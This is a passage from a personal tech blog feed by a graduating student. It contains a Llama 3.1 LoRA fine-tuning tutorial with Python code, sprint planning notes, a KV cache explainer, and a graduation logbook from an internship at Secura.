)</code></pre><p>We apply <strong>LoRA (Low-Rank Adaptation)</strong> to reduce the number of trainable parameters:</p><ul><li><code>r = 16</code>: The rank of LoRA updates (trade-off between memory and adaptability).</li><li><code>lora_alpha = 16</code>: A scaling factor for LoRA layers.</li><li><code>use_gradient_checkpointing = &quot;unsloth&quot;</code>: Reduces memory usage during training.</li><li>This allows efficient fine-tuning without modifying the entire model.</li></ul><h2 id="4-loading-and-preprocessing-the-dataset"><strong>4. Loading and Preprocessing the Dataset</strong></h2><pre><code class="language-python">from datasets import Dataset

# Load dataset from JSON file
dataset = Dataset.from_json(&quot;dataset.json&quot;)</code></pre><h2 id="5-formatting-the-dataset"><strong>5. Formatting the Dataset</strong></h2><pre><code class="language-python">custom_prompt = &quot;&quot;&quot;Below is a prompt and its corresponding response. Write a completion that adheres to the response.

### Prompt:
{}

### Response:
{}&quot;&quot;&quot;

EOS_TOKEN = tokenizer.eos_token  

def formatting_prompts_func(examples):
    prompts = examples[&quot;prompt&quot;]
    responses = examples[&quot;response&quot;]
    texts = []
    for prompt, response in zip(prompts, responses):
        text = custom_prompt.format(prompt, response) + EOS_TOKEN
        texts.append(text)
    return {&quot;text&quot;: texts}

dataset = dataset.map(formatting_prompts_func, batched=True)</code></pre><ul><li>We format the dataset into a <strong>prompt-response</strong> structure, adding an <strong>EOS_TOKEN</strong> at the end to indicate completion.</li><li>This function ensures that our training data follows a structured format for proper fine-tuning.</li></ul><h2 id="6-tokenizing-the-dataset"><strong>6. Tokenizing the Dataset</strong></h2><pre><code class="language-python">def tokenize_function(examples):
    return tokenizer(examples[&quot;text&quot;], truncation=True, padding=&quot;max_length&quot;, max_length=8192)

tokenized_dataset = dataset.map(tokenize_function, batched=True)

# Save tokenized dataset for fine-tuning
tokenized_dataset.save_to_disk(&quot;tokenized_dataset&quot;)

print(&quot;Dataset preprocessing complete. Ready for fine-tuning!&quot;)</code></pre><ul><li>The function tokenizes our formatted dataset, ensuring each sample fits within the <strong>8192-token limit</strong>.</li><li>We <strong>truncate</strong> longer inputs and <strong>pad</strong> shorter ones to maintain uniformity.</li><li>The dataset is then saved for training</li></ul><h2 id="7-fine-tuning-the-model"><strong>7. Fine-Tuning the Model</strong></h2><pre><code class="language-python">from trl import SFTTrainer
from transformers import TrainingArguments
from unsloth import is_bfloat16_supported

trainer = SFTTrainer(
    model=model,
    tokenizer=tokenizer,
    train_dataset=tokenized_dataset,
    dataset_text_field=&quot;text&quot;,
    max_seq_length=max_seq_length,
    dataset_num_proc=2,
    packing=False,  
    args=TrainingArguments(
        per_device_train_batch_size=2,
        gradient_accumulation_steps=4,
        warmup_steps=5,
        num_train_epochs=2,  
        learning_rate=2e-4,
        fp16=not is_bfloat16_supported(),
        bf16=is_bfloat16_supported(),
        logging_steps=1,
        optim=&quot;adamw_8bit&quot;,
        weight_decay=0.01,
        lr_scheduler_type=&quot;linear&quot;,
        seed=3407,
        output_dir=&quot;outputs&quot;,
        report_to=&quot;none&quot;,  
    ),
)
trainer_stats = trainer.train()</code></pre><ul><li>We use <strong>SFTTrainer</strong> (Supervised Fine-Tuning) from <code>trl</code> to manage training.</li><li><code>gradient_accumulation_steps=4</code> helps optimize memory usage.</li><li><code>learning_rate=2e-4</code> sets the learning rate for gradual updates.</li><li>The optimizer <strong>adamw_8bit</strong> is used for efficiency.</li><li>The model is trained for <strong>2 epochs</strong> with a <strong>batch size of 2</strong> per GPU.</li></ul><h2 id="8-saving-the-fine-tuned-model"><strong>8. Saving the Fine-Tuned Model</strong></h2><pre><code class="language-python">model.save_pretrained_merged(&quot;model&quot;, tokenizer, save_method=&quot;merged_16bit&quot;)</code></pre><ul><li>Saves the fine-tuned model in a <strong>16-bit format</strong> to optimize storage.</li><li>The model is now ready for inference and further deployment.</li></ul><h2 id="conclusion"><strong>Conclusion</strong></h2><p>Fine-tuning LLaMA 3.1 with <strong>Unsloth</strong> offers a powerful and memory-efficient way to adapt LLMs for custom use cases. By using <strong>LoRA</strong>, structured dataset preparation, and an optimized training approach, we can achieve high-quality results with limited resources.</p>]]></content:encoded></item><item><title><![CDATA[Graduation Planning]]></title><description><![CDATA[<p>This blog will highlight my planning process for the graduation semester using Trello.</p><h3 id="sprint-1">Sprint 1</h3><p><strong>Highlights: </strong></p><ul><li>Project Plan</li><li>Start on the research</li><li>Discuss MoSCoW with stakeholders</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2024/12/image.png" class="kg-image" alt loading="lazy" width="1153" height="496" srcset="https://blog.mohammedx.tech/content/images/size/w600/2024/12/image.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2024/12/image.png 1000w, https://blog.mohammedx.tech/content/images/2024/12/image.png 1153w" sizes="(min-width: 720px) 720px"></figure><h3 id="sprint-2">Sprint 2</h3><p><strong>Highlights: </strong></p><ul><li>Design Document</li><li>EU AI Act Document</li><li>Get Project Plan Approval</li><li>Functional Design Document</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2024/12/image-2.png" class="kg-image" alt loading="lazy" width="1150" height="505" srcset="https://blog.mohammedx.tech/content/images/size/w600/2024/12/image-2.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2024/12/image-2.png 1000w, https://blog.mohammedx.tech/content/images/2024/12/image-2.png 1150w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="sprint-3">Sprint 3</h3><p><strong>Highlights: </strong></p><ul><li>Answer Research Question 4</li><li>Finish</li></ul>]]></description><link>https://blog.mohammedx.tech/graduation-planning/</link><guid isPermaLink="false">677346592074360001f33e97</guid><dc:creator><![CDATA[Mohammed Alshukaili]]></dc:creator><pubDate>Tue, 31 Dec 2024 02:11:42 GMT</pubDate><media:content url="https://blog.mohammedx.tech/content/images/2024/12/strategic-planning2-1210x423.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.mohammedx.tech/content/images/2024/12/strategic-planning2-1210x423.jpg" alt="Graduation Planning"><p>This blog will highlight my planning process for the graduation semester using Trello.</p><h3 id="sprint-1">Sprint 1</h3><p><strong>Highlights: </strong></p><ul><li>Project Plan</li><li>Start on the research</li><li>Discuss MoSCoW with stakeholders</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2024/12/image.png" class="kg-image" alt="Graduation Planning" loading="lazy" width="1153" height="496" srcset="https://blog.mohammedx.tech/content/images/size/w600/2024/12/image.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2024/12/image.png 1000w, https://blog.mohammedx.tech/content/images/2024/12/image.png 1153w" sizes="(min-width: 720px) 720px"></figure><h3 id="sprint-2">Sprint 2</h3><p><strong>Highlights: </strong></p><ul><li>Design Document</li><li>EU AI Act Document</li><li>Get Project Plan Approval</li><li>Functional Design Document</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2024/12/image-2.png" class="kg-image" alt="Graduation Planning" loading="lazy" width="1150" height="505" srcset="https://blog.mohammedx.tech/content/images/size/w600/2024/12/image-2.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2024/12/image-2.png 1000w, https://blog.mohammedx.tech/content/images/2024/12/image-2.png 1150w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="sprint-3">Sprint 3</h3><p><strong>Highlights: </strong></p><ul><li>Answer Research Question 4</li><li>Finish First Version of Portfolio</li><li>Research Prices of Cloud GPUs as Temporary Solution</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2024/12/image-3.png" class="kg-image" alt="Graduation Planning" loading="lazy" width="1154" height="770" srcset="https://blog.mohammedx.tech/content/images/size/w600/2024/12/image-3.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2024/12/image-3.png 1000w, https://blog.mohammedx.tech/content/images/2024/12/image-3.png 1154w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2024/12/image-4.png" class="kg-image" alt="Graduation Planning" loading="lazy" width="1147" height="882" srcset="https://blog.mohammedx.tech/content/images/size/w600/2024/12/image-4.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2024/12/image-4.png 1000w, https://blog.mohammedx.tech/content/images/2024/12/image-4.png 1147w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2024/12/image-5.png" class="kg-image" alt="Graduation Planning" loading="lazy" width="1145" height="1024" srcset="https://blog.mohammedx.tech/content/images/size/w600/2024/12/image-5.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2024/12/image-5.png 1000w, https://blog.mohammedx.tech/content/images/2024/12/image-5.png 1145w" sizes="(min-width: 720px) 720px"></figure><h3 id="sprint-4">Sprint 4</h3><p><strong>Highlights: </strong></p><ul><li><strong>LLM Design Plan</strong></li><li><strong>Technical Implementation Guide Document</strong></li><li><strong>Secura Christmas Party</strong></li></ul><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2024/12/image-6.png" class="kg-image" alt="Graduation Planning" loading="lazy" width="1157" height="1031" srcset="https://blog.mohammedx.tech/content/images/size/w600/2024/12/image-6.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2024/12/image-6.png 1000w, https://blog.mohammedx.tech/content/images/2024/12/image-6.png 1157w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2024/12/image-7.png" class="kg-image" alt="Graduation Planning" loading="lazy" width="1154" height="1029" srcset="https://blog.mohammedx.tech/content/images/size/w600/2024/12/image-7.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2024/12/image-7.png 1000w, https://blog.mohammedx.tech/content/images/2024/12/image-7.png 1154w" sizes="(min-width: 720px) 720px"></figure><h3 id="sprint-5">Sprint 5</h3><p><strong>Highlights: </strong></p><ul><li>Finished the LLM Design Plan Document.</li><li>Finished the Technical Implementation Guide Document.</li><li>Build the application on the LLM machine.</li><li>Start finding ways to improve the accuracy.</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/01/image-1.png" class="kg-image" alt="Graduation Planning" loading="lazy" width="1159" height="1034" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/01/image-1.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/01/image-1.png 1000w, https://blog.mohammedx.tech/content/images/2025/01/image-1.png 1159w" sizes="(min-width: 720px) 720px"></figure><h3 id="sprint-6">Sprint 6</h3><p><strong>Highlights: </strong></p><ul><li>Finalizing the project and the Portfolio. </li></ul><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/01/image-2.png" class="kg-image" alt="Graduation Planning" loading="lazy" width="1155" height="1036" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/01/image-2.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/01/image-2.png 1000w, https://blog.mohammedx.tech/content/images/2025/01/image-2.png 1155w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/01/image-3.png" class="kg-image" alt="Graduation Planning" loading="lazy" width="1155" height="1036" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/01/image-3.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/01/image-3.png 1000w, https://blog.mohammedx.tech/content/images/2025/01/image-3.png 1155w" sizes="(min-width: 720px) 720px"></figure>]]></content:encoded></item><item><title><![CDATA[KV Cache in LLMs]]></title><description><![CDATA[<p>In this blog, I will explain what KV cache is and how it is used in LLM inference.</p><h3 id="introduction-to-llm-inference">Introduction to LLM Inference</h3><p>Large Language Model (LLM) inference is the process of generating outputs from pre-trained models. It involves running the model to complete tasks such as text generation, translation, or</p>]]></description><link>https://blog.mohammedx.tech/kv-cache/</link><guid isPermaLink="false">670e3a512074360001f33e54</guid><category><![CDATA[GenAI]]></category><category><![CDATA[AI]]></category><dc:creator><![CDATA[Mohammed Alshukaili]]></dc:creator><pubDate>Tue, 15 Oct 2024 10:03:14 GMT</pubDate><media:content url="https://blog.mohammedx.tech/content/images/2024/10/fine-tuning-large-language-models-a-complete-guide-to-building-an-llm-img-6-1921x1184x343x0x1578x1184x1702999185.webp" medium="image"/><content:encoded><![CDATA[<img src="https://blog.mohammedx.tech/content/images/2024/10/fine-tuning-large-language-models-a-complete-guide-to-building-an-llm-img-6-1921x1184x343x0x1578x1184x1702999185.webp" alt="KV Cache in LLMs"><p>In this blog, I will explain what KV cache is and how it is used in LLM inference.</p><h3 id="introduction-to-llm-inference">Introduction to LLM Inference</h3><p>Large Language Model (LLM) inference is the process of generating outputs from pre-trained models. It involves running the model to complete tasks such as text generation, translation, or answering questions. Efficient inference is important for reducing latency and resource usage, particularly for real-time applications like chatbots</p><h3 id="kv-key-value-cache">KV (Key-Value) cache</h3><p>KV (Key-Value) cache is a mechanism used in large language model (LLM) inference to store and reuse intermediate computations during text generation. In autoregressive models like GPT, each new token is generated based on previous tokens. Normally, the model reprocesses the entire input sequence for every token prediction, which can be computationally expensive and slow, especially for long sequences.</p><p>The KV cache optimizes this process by storing the key-value pairs generated from previous tokens. These pairs represent the attention mechanism&#x2019;s outputs that the model uses to focus on relevant parts of the input during inference. By caching these values, the model avoids recalculating them for each token, significantly speeding up the generation process and reducing memory consumption.</p><p>This caching mechanism is particularly beneficial for applications like real-time chatbots, where response times are important, and long context windows need to be processed efficiently. Without KV caching, the model would need to repeatedly process the entire sequence, leading to slower performance and higher computational costs.</p><h3 id="how-kv-cache-works-in-llms">How KV Cache Works in LLMs</h3><p>KV cache plays a critical role in optimizing the inference process of autoregressive large language models (LLMs) by reducing redundant computations. To understand how it works, let&#x2019;s break down its function step by step:</p><h4 id="31-storing-key-value-pairs">3.1 Storing Key-Value Pairs</h4><p>In a transformer-based LLM, each layer of the model computes attention weights based on &quot;queries&quot; (Q), &quot;keys&quot; (K), and &quot;values&quot; (V). These components are used to determine how much attention should be paid to each part of the input sequence when generating the next token. Normally, each new token generation requires recalculating attention over the entire sequence of input tokens, which increases the processing time as the sequence grows.</p><p>With KV caching, the model stores the key-value pairs generated during the initial pass through the sequence in memory. These stored pairs can then be reused for subsequent token generation without recalculating them, as they remain the same for the sequence&#x2019;s previous tokens.</p><h4 id="32-reusing-past-context">3.2 Reusing Past Context</h4><p>During inference, when generating the next token, the model uses the cached key-value pairs from previous tokens instead of recalculating the attention for those tokens. This allows the model to only focus on the newly generated token while leveraging the cached data for the rest of the sequence.</p><p>For example, when generating the 100th token in a sequence, the model doesn&apos;t need to reprocess the first 99 tokens. It reuses the cached K-V pairs and only processes the 100th token, reducing the overall computational load.</p><h4 id="33-benefits-of-kv-cache">3.3 Benefits of KV Cache</h4><ul><li><strong>Faster Inference</strong>: By eliminating the need to recompute attention scores for previous tokens, KV caching significantly speeds up the inference process, especially for longer sequences.</li><li><strong>Efficient Memory Usage</strong>: While caching requires memory to store the key-value pairs, it prevents the need to repeatedly process long input sequences, reducing memory and computational overhead.</li><li><strong>Scalability</strong>: KV caching allows LLMs to handle long context windows efficiently, making it ideal for tasks such as document summarization, chatbot conversations, or any application that requires continuous interaction with long sequences of text.</li></ul><p>By caching  attention results, KV cache enhances the model&apos;s ability to generate text more quickly and efficiently, particularly in tasks that demand quick responses and low latency.</p><h3 id="performance-impact-of-kv-caching">Performance Impact of KV Caching</h3><p>KV caching has a significant impact on the performance of large language models (LLMs) during inference, particularly in terms of speed, memory efficiency, and scalability. Here&#x2019;s how it affects performance:</p><h4 id="41-speed-improvements">4.1 Speed Improvements</h4><p>One of the primary benefits of KV caching is the substantial boost in inference speed. In models without KV caching, every token generation requires the model to reprocess the entire sequence of previous tokens, which becomes increasingly time-consuming as the sequence length grows.</p><p>By storing and reusing key-value pairs, the model avoids redundant computations for previously processed tokens. This results in a <strong>constant-time complexity</strong> for token generation, regardless of the sequence length. For long sequences, this can lead to an <strong>order of magnitude improvement in speed</strong>, particularly in real-time applications like chatbots or live translations, where fast response times are crucial.</p><h4 id="42-memory-efficiency">4.2 Memory Efficiency</h4><p>While KV caching does introduce a memory overhead due to the storage of key-value pairs, this trade-off is generally outweighed by the efficiency gains. By reducing the need to reprocess the entire input, KV caching conserves memory resources that would otherwise be consumed by repeated attention calculations over long sequences.</p><p>Additionally, the memory footprint remains <strong>relatively stable</strong> as the model only needs to store one set of key-value pairs per attention layer. This contrasts with non-caching approaches, where memory usage grows linearly with the sequence length as the model repeatedly processes the entire sequence.</p><h4 id="43-handling-long-sequences">4.3 Handling Long Sequences</h4><p>LLMs are known to struggle with handling long input sequences during inference, as the computational cost of processing every token grows significantly with sequence length. KV caching allows the model to efficiently handle these long sequences by only focusing on newly generated tokens while reusing cached data for previous tokens.</p><p>This makes KV caching ideal for applications requiring continuous interaction with long text streams, such as:</p><ul><li><strong>Conversations</strong>: In chatbots or virtual assistants, where previous conversation history needs to be referenced.</li><li><strong>Document Summarization</strong>: Handling long documents without being overwhelmed by the growing sequence length.</li><li><strong>Code Generation</strong>: Keeping track of long code contexts efficiently during token generation.</li></ul><h4 id="44-benchmarking-kv-caching-performance">4.4 Benchmarking KV Caching Performance</h4><p>Several benchmarks and tests across popular LLM architectures have demonstrated the benefits of KV caching. For example:</p><ul><li><strong>GPT-style models</strong> show up to a <strong>10x speed improvement</strong> when using KV caching for sequences longer than 500 tokens.</li><li><strong>Latency reduction</strong>: In real-time applications, latency drops significantly with caching, making it a critical component for low-latency environments.</li><li><strong>Resource conservation</strong>: KV caching reduces the strain on hardware, making models more cost-effective to run on GPUs, TPUs, or even CPUs in some cases.</li></ul><p>Overall, the performance impact of KV caching is profound, allowing LLMs to scale more effectively while reducing the computational cost and latency associated with long-sequence inference. This optimization is essential for deploying LLMs in real-world, latency-sensitive applications like virtual assistants, content generation tools, and large-scale NLP services.</p><h3 id="conclusion">Conclusion</h3><p>KV caching is important optimization in large language model (LLM) inference, significantly enhancing speed, memory efficiency, and scalability. By storing and reusing key-value pairs, models can generate text faster and handle longer sequences with lower computational costs. This makes KV caching indispensable for real-time applications like chatbots, document summarization, and code generation, where low latency and efficient resource usage are critical.</p><h3 id="references">References</h3><ul><li>https://www.youtube.com/watch?v=eMlx5fFNoYc </li><li>https://www.youtube.com/watch?v=hMs8VNRy5Ys </li><li>https://medium.com/cj-express-tech-tildi/how-does-vllm-optimize-the-llm-serving-system-d3713009fb73 </li></ul>]]></content:encoded></item><item><title><![CDATA[Graduation Logbook]]></title><description><![CDATA[<p>This blog will showcase my progress and feedback from my mentor throughout my graduation semester at Secura.</p><p>The graduation semester spans 18 weeks, from September 2, 2024, to January 24, 2025.</p><h3 id="weeks-1-and-2-september-2-2024september-13-2024">Weeks 1 and 2 (September 2, 2024 - September 13, 2024)</h3><ul><li><strong>Project Planning:</strong> Created a comprehensive project plan in</li></ul>]]></description><link>https://blog.mohammedx.tech/graduation-logbook/</link><guid isPermaLink="false">66f6b1042074360001f33df4</guid><dc:creator><![CDATA[Mohammed Alshukaili]]></dc:creator><pubDate>Fri, 27 Sep 2024 13:54:51 GMT</pubDate><media:content url="https://blog.mohammedx.tech/content/images/2024/09/Xnip2024-09-27_15-22-33.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.mohammedx.tech/content/images/2024/09/Xnip2024-09-27_15-22-33.jpg" alt="Graduation Logbook"><p>This blog will showcase my progress and feedback from my mentor throughout my graduation semester at Secura.</p><p>The graduation semester spans 18 weeks, from September 2, 2024, to January 24, 2025.</p><h3 id="weeks-1-and-2-september-2-2024september-13-2024">Weeks 1 and 2 (September 2, 2024 - September 13, 2024)</h3><ul><li><strong>Project Planning:</strong> Created a comprehensive project plan in line with the university&apos;s requirements.</li><li><strong>Functional Document:</strong> Began drafting a functional document aimed at explaining the project to non-technical stakeholders.</li><li><strong>University Supervisor Meeting:</strong> Held my first meeting with the university supervisor to discuss the project&apos;s direction and goals.</li><li><strong>LLM Fine-tuning:</strong> Started fine-tuning a local LLM model to handle LaTeX content translation.</li><li><strong>Interview: </strong>I interviewed my company mentor asking him some questions regarding my project at Secura.</li><li><strong>Research: </strong>I finished the first 2 research question. First research question helped me to choose an open-source LLM which is Llama 3.1 for my project, and the second research question analyzed the hardware requirements for that mode which is dual 4090 GPU.</li></ul><p>Feedback from Joel:</p><ul><li>The use cases and functional requirements are good, but there are some important sections missing.</li><li>The functional and technical design should explain the current setup and what it will look like when the project is finished.</li><li>Add a section called &quot;Justification of Choice for Research Environment.&quot; This should explain why you chose the operating system, focusing on things like how future-proof and user-friendly it is.</li><li>Include a section about hardware. Since this is the functional design, explain what hardware is needed and for what purpose, but there&#x2019;s no need to include technical details.</li><li>Add a section on security. This should cover things like who can access the system, the security policies in place, and how physical access is managed.</li><li>It would be helpful to use a MoSCoW chart to clearly define the project goals and priorities.</li></ul><p>Feedback from Gayatri:</p><ul><li>We discussed the overall project and its scope, and Gayatri emphasized the need to focus more on the infrastructure side rather than the software.</li><li>The initial draft of the project plan included 10 research questions, but Gayatri recommended reducing the number to a maximum of 5 to keep the project manageable.</li><li>Gayatri suggested shifting the project&apos;s focus more towards the infrastructure aspect, ensuring it aligns with the company&apos;s needs, and university requirements.</li></ul><h3 id="weeks-3-and-4-september-16-2024september-27-2024">Weeks 3 and 4 (September 16, 2024 - September 27, 2024)</h3><ul><li><strong>Project Plan &amp; Functional Design Updates:</strong> Added additional details to both the project plan and the functional design document.</li><li><strong>Backend Server Research:</strong> Conducted research on backend server options and concluded that it would be valuable to include in my in-depth research.</li><li><strong>MoSCoW Board Discussion:</strong> Had a meeting with Joel to discuss the MoSCoW board and prioritize project elements.</li><li><strong>First Company Visit: </strong>Gayatri visited me at the Secura Amsterdam office. We discussed my progress with my company mentor.</li><li><strong>Functional Document: </strong>Describe things in a non-technical way.</li></ul><p>Feedback from Joel:</p><ul><li>Invest some time to look at the EU AI Act and how it is used in the project.</li></ul><p>Feedback from Gayatri:</p><ul><li>Gayatri liked the structure of the first version of the project plan and mentioned that it is almost perfect.</li><li>To complete the project plan, Gayatri recommended adding a network diagram and a list of professional products for each learning outcome.</li><li>Create design challenge document.</li><li>Create logbook.</li></ul><h3 id="weeks-5-and-6-september-30-2024october-11-2024">Weeks 5 and 6 (September 30, 2024 - October 11, 2024)</h3><ul><li><strong>Functional Document: </strong>I finished the functional document that describes things in a non-technical way, and it was approved by my company mentor.</li><li><strong>Technical Design Document:</strong> I created the first draft of technical design document.</li><li><strong>Research: </strong>I finished the 3rd research question that talks about vector databases, and I concluded that I will be using Chroma DB for my project.</li><li><strong>Design Challenge Document: </strong>I finished the design challenge document.</li><li><strong>EU AI Act Document: </strong>I created a document discussing the EU AI Act and how it applies in my project. </li></ul><p>Feedback from Joel:</p><ul><li>He approved the functional design document and advised to start translating it into technical design document.</li><li>The first draft of technical design document is missing the details of how I plan to build the LLM server. I still do not know the details. Therefore, I suggested that I finish my research first, then create the technical document, Joel agreed on this approach.</li></ul><h3 id="weeks-7-and-8-october-14-2024november-01-2024">Weeks 7 and 8 (October 14, 2024 - November 01, 2024)</h3><ul><li><strong>Research: </strong>I finished the 4th research question which talked about the backend and frontend frameworks for my project. I ended up choosing vLLM for the backend, and Open web UI for the frontend. </li><li><strong>Portfolio: </strong>I started creating the Portfolio by combining every professional product in one place. I submitted the first version of the portfolio.</li><li><strong>Reading: </strong>I invested some time reading about new trends in open source AI models. This can help me create the advise report later this semester. </li><li><strong>Cloud Prices: </strong>Joel asked me to research the prices of GPUs using the cloud and choose the best one for my project in case there is another delay in the hardware. Therefore, I created a document detailing the price of many possible services.</li></ul><p>Feedback from Joel:</p><ul><li>You have answered sub-questions 1 to 4 so far, but the elaboration is rather short, and it would be good to read more about the &quot;how&quot; and &quot;why&quot; behind your choices, as I believe you have done the analysis to determine which option is best.</li><li>For example, &quot;Chroma DB&#x2019;s user-friendly interface and many plugins make it easier to set up and use, saving time during development,&quot; but the &quot;how&quot; and &quot;why&quot; are missing, so more details about the kind of plugins and their specific benefits would be helpful; another example is &quot;Open Web UI was chosen for its user-friendly design,&quot; which would benefit from an explanation of why this design is better compared to other options.</li><li>Mohammed is always offering to help, but it should not limit him in his eagerness to analyze, test or execute things without asking.</li></ul><p>Feedback from Gayatri:</p><ul><li>You are doing well in showcasing all learning outcomes with proper evidence.</li><li>Try to add some theory in the Project Approach section, preferably in the form of diagrams or other visual elements.</li><li>For each sub-question: Explain its DOT framework and strategy, Remove the conclusion for each question, Add a solution for each question instead.</li><li>For Conclusions and recommendations: Include them as separate topics for the overall report, Do not add them for each question individually.</li><li>The rest is progressing well.</li></ul><h3 id="weeks-9-and-10-november-4-2024november-15-2024">Weeks 9 and 10 (November 4, 2024 - November 15, 2024)</h3><ul><li><strong>Literature Review: </strong>I read about LLM optimization techniques. This can help me improve the speed of the LLM inference. </li><li><strong>Cybersecurity Event in Utrecht: </strong>My company mentor Joel advised me to visit a cybersecurity event in Utrecht. It was a special experiences meeting professionals in the field of cybersecurity and AI.</li><li><strong>Meeting with IT department: </strong>Me and Joel had a meeting with the IT specialist discussing the status of the LLM hardware and how I will be able to access it. </li><li><strong>Mid-term reviews: </strong>I asked Joel to fill in the mid-term review for Fontys. I also filled in one myself reflecting on my progress so far.</li></ul><p>Feedback from Joel:</p><ul><li>Find out how Secura writes test plan document and create one for your project.</li><li>Joel said that Ralph approved paying for the cloud as a temporary solution. Therefore, start building you findings using a cloud provider.</li></ul><h3 id="weeks-11-and-12-november-18-2024november-29-2024">Weeks 11 and 12 (November 18, 2024 - November 29, 2024)</h3><ul><li><strong>Mid-term Return Day Pitch:</strong> I presented my progress to my 2 Fontys assessors and to some students. I was also able to learn from other graduates who presented their work.</li><li><strong>Assessors Feedback: </strong>I worked on the feedback received from the 2 assessors. </li><li><strong>Rent a GPU: </strong>I used the cloud to rent a GPU and build my product on it as a temporary solution. </li><li><strong>Demo: </strong>I showed Joel a demo for the LLM deployed on the cloud.</li></ul><p>Feedback from Mehrzad:</p><ul><li>Show the approach better (DOT framework usage in details)</li><li>Show agenda for the presentation</li><li>Show page numbers</li><li>Include a page for sprints activities</li><li>Explain why your solution is better than using ready products like ChatGPT.</li></ul><h3 id="weeks-13-and-14-december-02-2024december-13-2024">Weeks 13 and 14 (December 02, 2024 - December 13, 2024)</h3><ul><li><strong>LLM Design Plan: </strong>I created an LLM Design Plan that explains to the IT department what is the LLM machine expected to do and what operating system should it run. I also explained what type of connections does it need and when should it be disconnected completely from internet access. The document also explains who will be the administrators for the application.</li><li><strong>Technical Implementation Guide: </strong>I created a Technical Implementation Guide document that explains in details all the steps needed to host the frontend and the backend in an Ubuntu 20.04 server. The steps are the following:<ul><li>Download CUDA Toolkit</li><li>Install cuDNN</li><li>Install Python 3.11</li><li>Create a Virtual Environment </li><li>Install &amp; Run the Backend (vLLM)</li><li>Install &amp; Run the Frontend (Open Web UI)</li><li>Access the Application</li></ul></li><li><strong>Access the Server: </strong>I got SSH connection to the LLM machine. I installed the backend and the frontend and connected them with each other. I had issues installing Nvidia CUDA toolkit and cuDNN. However, I eventually successfully installed everything needed. Every issue and its fix is documented very well. </li><li><strong>Secura Christmas Party: </strong>I got the chance to attend the company&apos;s Christmas party, it was nice meeting and connecting with other Secura employees.</li></ul><p>Feedback from Joel:</p><ul><li>Joel helped me to improve the documents.</li><li>Joel encountered error when trying to upload big document. I fixed this issue by increasing the LLM&apos;s capacity to handle around 10 thousand words per request. </li></ul><h3 id="weeks-15-and-16-december-16-2024january-10-2025-christmas-break">Weeks 15 and 16 (December 16, 2024 - January 10, 2025) + Christmas Break</h3><ul><li><strong>Meeting with Joel Regarding the Deliverables: </strong>I had a meeting with my mentor to discuss the deliverables for both company and university. </li><li><strong>I canceled the cloud subscription: </strong>Now that we have a powerful server with dual 4090 locally, I canceled the cloud subscription.</li><li><strong>Discussed the LLM&apos;s Accuracy with Joel: </strong>I had a meeting with Joel to discuss the current accuracy of the LLM and discuss plans on how to improve it. Joel asked me to find new ways to improve the accuracy.</li><li><strong>New Embedding Model: </strong>To improve the accuracy, I installed a better and more powerful embedding model. One of the drawbacks is it would need more time to answer and it would consume more of the GPUs. However, Joel said that these issues can be over seen if the accuracy is getting better.</li></ul><p>Feedback from Joel:</p><ul><li>Create Back up plans.</li></ul><h3 id="weeks-17-and-18-january-13-2025january-24-2025-christmas-break">Weeks 17 and 18 (January 13, 2025 - January 24, 2025) + Christmas Break</h3><ul><li><strong>Meeting with Stakeholders: </strong>I had multiple meetings with Joel, Ralph, and Paul to discuss the future of this project. I showed them that the RAG and translator are working. </li><li><strong>Fine Tuning the LLM:</strong> Paul asked me if I can fine tune the LLM on their own data. I used many Secura reports to create a dataset for the fine tuning. I managed to create a fine tuned model on only 1300 examples. I explained to them that in order to have decent quality, they need more examples to include.</li><li><strong>Documenting: </strong>Joel, Ralph, and Paul mentioned that I should document every detail to make it easier for whoever comes after me working on the project.</li></ul>]]></content:encoded></item><item><title><![CDATA[Hosting Llama 3.1 Locally with Dual RTX 4090]]></title><description><![CDATA[<p>Hosting large language models (LLMs) like Llama on local hardware provides the flexibility to handle sensitive data in-house while maximizing performance using advanced GPUs like the RTX 4090. In this post, I&#x2019;ll walk you through how to set up Llama (Meta-Llama-3.1-70B) on an Ubuntu server using dual</p>]]></description><link>https://blog.mohammedx.tech/privatellm/</link><guid isPermaLink="false">66e89b292074360001f33db1</guid><category><![CDATA[GenAI]]></category><dc:creator><![CDATA[Mohammed Alshukaili]]></dc:creator><pubDate>Mon, 16 Sep 2024 21:12:00 GMT</pubDate><media:content url="https://blog.mohammedx.tech/content/images/2024/09/generative-ai-tools.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.mohammedx.tech/content/images/2024/09/generative-ai-tools.jpg" alt="Hosting Llama 3.1 